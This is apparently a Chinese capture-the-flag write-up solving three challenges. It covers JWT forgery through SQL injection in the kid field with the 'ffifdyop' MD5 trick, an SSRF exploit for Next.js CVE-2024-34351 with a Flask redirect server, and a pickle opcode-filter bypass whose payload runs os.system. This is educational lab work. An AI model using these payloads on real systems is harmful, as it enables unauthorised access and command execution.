Fare Evasion
题目描述:SIGPwny Transit Authority needs your fares, but the system is acting a tad odd. We’ll let you sign your tickets this time!
SIGPwny交通管理局需要您的车费,但系统有点不正常。这次我们允许您签署您的票据!
开题
两个按钮,只有左边的可以点击。右边的前端限制点击不了,这个好办,但是没有点击事件,也没有对应功能的函数。
点击左边按钮
Sorry passenger, only conductors are allowed right now. Please sign your own tickets. hashed _RòsÜxÉÄÅ´\ä secret: a_boring_passenger_signing_key_?
前端找一下线索
源码:
JWT:
密钥在之前提示给了a_boring_passenger_signing_key_?
到这里有两个思路,一个是前端暴露了SQL语句,我们考虑SQL注入。还有一个就是伪造JWT实现身份鉴别为conductors
。事实上这题都用到了。
首先分析一下JWT,目前发现四种回显,初始状态下给了密钥等信息并且提示只有conductors
管用,现在是passenger
如果把密钥换掉,会提示我这个密钥不属于passenger
和conductors
如果把JWT都删掉,会提示没有token
如果破坏掉原有结构,会提示kid出了问题。
重点来了,kid,回想一下前端披露的SQL语句,SELECT * FROM keys WHERE kid = '${md5(headerKid)}'
这边题目是md5之后进行kid校验的。kid有很多共计利用方式,其中不乏SQL注入(41.1)【JWT-KID漏洞】KID之目录遍历、命令注入、SQL注入_jwt kid-CSDN博客
但是这边进行了md5,不可以进行截断SQL语句阿啊啊啊。但是还是可以注入的,请看下文
ffifdyop
的MD5加密结果是276f722736c95d99e921722cf9ed621c,经过MySQL编码后会变成’or’6xxx,相当于select * from ‘admin’ where password=''or 1,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密。关键参数为md5(xx,true)。
这样我们在md5的情况下也可以进行万能密码共计了hhhhh。后端估计是在执行查找,我们的kid如果符合要求就可进入下一步了。
果然,给了conductors
的JWT密钥是conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e
进行JWT伪造得到flag,内容不用伪造,换个密钥就行。后台好像是通过JWT密钥来鉴别身份
Log Action
题目描述:I keep trying to log in, but it’s not working 😢
给了附件,有源码。
是CVE-2024-34351,SSRF。
影响版本:13.4.0<= Next.js < 14.1.1
参考文章:
在 NextJS 应用中挖掘 SSRF (assetnote.io)
CVE-2024-34351|Next.js框架存在SSRF漏洞-腾讯云开发者社区-腾讯云 (tencent.com)
开题:
点击之后是登录,正如题目描述,登录不起作用。
给了源码,我们先看一看。docker里面给出了flag的位置,看到这个就知道多半不是RCE拿flag了。
ts源码整体看下来没什么明显漏洞点,登录部分用户名是admin,密码是每次随机的16位数,这意味着不可能正常登录,而且正常登录后admin路由也不给flag。
引用一下外国老哥在wp中所阐述的观点: Log4J RCE(远程代码执行)漏洞,它让我意识到我们都使用的所有库和模块都可能存在潜在危险。
CVE-2024-34351简述一下就是由于Next.js代码漏洞引起的,,当我们调用服务器操作并响应重定向时,它会调用异步函数createRedirectRenderResult
在附件文件log-action\frontend\src\app\logout\page.tsx
,确实用到了Next.js并且进行了路由跳转
抓一下注销时候的包
根据老哥的源代码分析,我们可以通过HOST
头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin
。服务器开启监听,收到请求!
OK到这里SSRF已经验证了,接下来就是重定向到内网拿flag。
接下来就是SSRF拿flag的事情了,直接跳到拿flag还是跨度挺大的,中间还有一些分析,感兴趣的话可以去看看国外老哥写的文章:Log Action | Siunam’s Website (siunam321.github.io)
在安装完docker,启动容器时,docker会为容器默认分配一个容器子网,一般为172.17.0.0/24
但是这里后端服务的内部IP地址是172.18.0.2
直接看利用,py脚本上传服务器,python起一个服务
exp.py
from flask import Flask, request, Response, redirect
app = Flask(__name__)
@app.route('/login')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.18.0.2/flag.txt'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)
Push and Pickle
题目描述:I love how there are so many different types of pickles. I tried experimenting with two of them.
附件给了源码,ban了一些opcode
import pickle
import base64
import sys
import pickletools
def check_flag(flag_guess: str):
"""REDACTED FOR PRIVACY"""
cucumber = base64.b64decode(input("Give me your best pickle (base64 encoded) to taste! "))
for opcode, _, _ in pickletools.genops(cucumber):
if opcode.code == "c" or opcode.code == "\x93":
print("Eww! I can't eat dill pickles.")
sys.exit(0)
pickle.loads(cucumber)
ban的不多,直接打
import base64
opcode=b'''(S'cat chal.py'\nios\nsystem\n.'''
print(base64.b64encode(opcode))
getshell后拿不到flag,但是可以拿下完整源码,剩下的就是逆向的事情了。
import pickle
import base64
import sys
import pickletools
def check_flag(flag_guess: str):
"""REDACTED FOR PRIVACY"""
# What?! How did you find this? Well you won't be able to figure it out from here...
return pickle.loads(b'\x80\x04\x96+\x00\x00\x00\x00\x00\x00\x00lbp`sg~S:_p\x7fnf\x81yJ\x8bzP\x92\x95\x8cr\x88\x9d\x90\x8c\x7fb\x96\xa0\xa3\x9e\xae^\xa4s\xa5\xa6y}\xc8\x94\x8c'
+ len(flag_guess).to_bytes(1, 'little')
+ flag_guess.encode()
+ b'\x94\x8c\x08builtins\x8c\x03all\x93\x94\x94\x8c\x08builtins\x8c\x04list\x93\x94\x94\x8c\x08builtins\x8c\x03map\x93\x94\x94\x8c\x05types\x8c\x08CodeType\x93\x94(K\x01K\x00K\x00K\x01K\x05KCC<|\x00d\x01\x19\x00t\x00t\x01\x83\x01k\x00o:|\x00d\x02\x19\x00t\x02t\x01|\x00d\x01\x19\x00\x19\x00\x83\x01d\x03|\x00d\x01\x19\x00d\x04\x17\x00\x14\x00\x17\x00d\x05\x16\x00k\x02S\x00(NK\x00K\x01K\x02KaK\xcbt\x8c\x03len\x8c\x01b\x8c\x03ord\x87\x8c\x01x\x85\x8c\x08<pickle>\x8c\x08<pickle>K\x07C\x00tR\x940\x8c\x05types\x8c\x0cFunctionType\x93\x94(h\t}(\x8c\x03len\x8c\x08builtins\x8c\x03len\x93\x94\x94\x8c\x01bh\x01\x8c\x03ord\x8c\x08builtins\x8c\x03ord\x93\x94\x94uN)tR\x8c\x08builtins\x8c\tenumerate\x93\x94\x94h\x00\x85R\x86R\x85R\x85R.')
def test_check_flag():
flag_guess = "test_flag"
result = check_flag(flag_guess)
print("Result from check_flag:", result)
test_check_flag()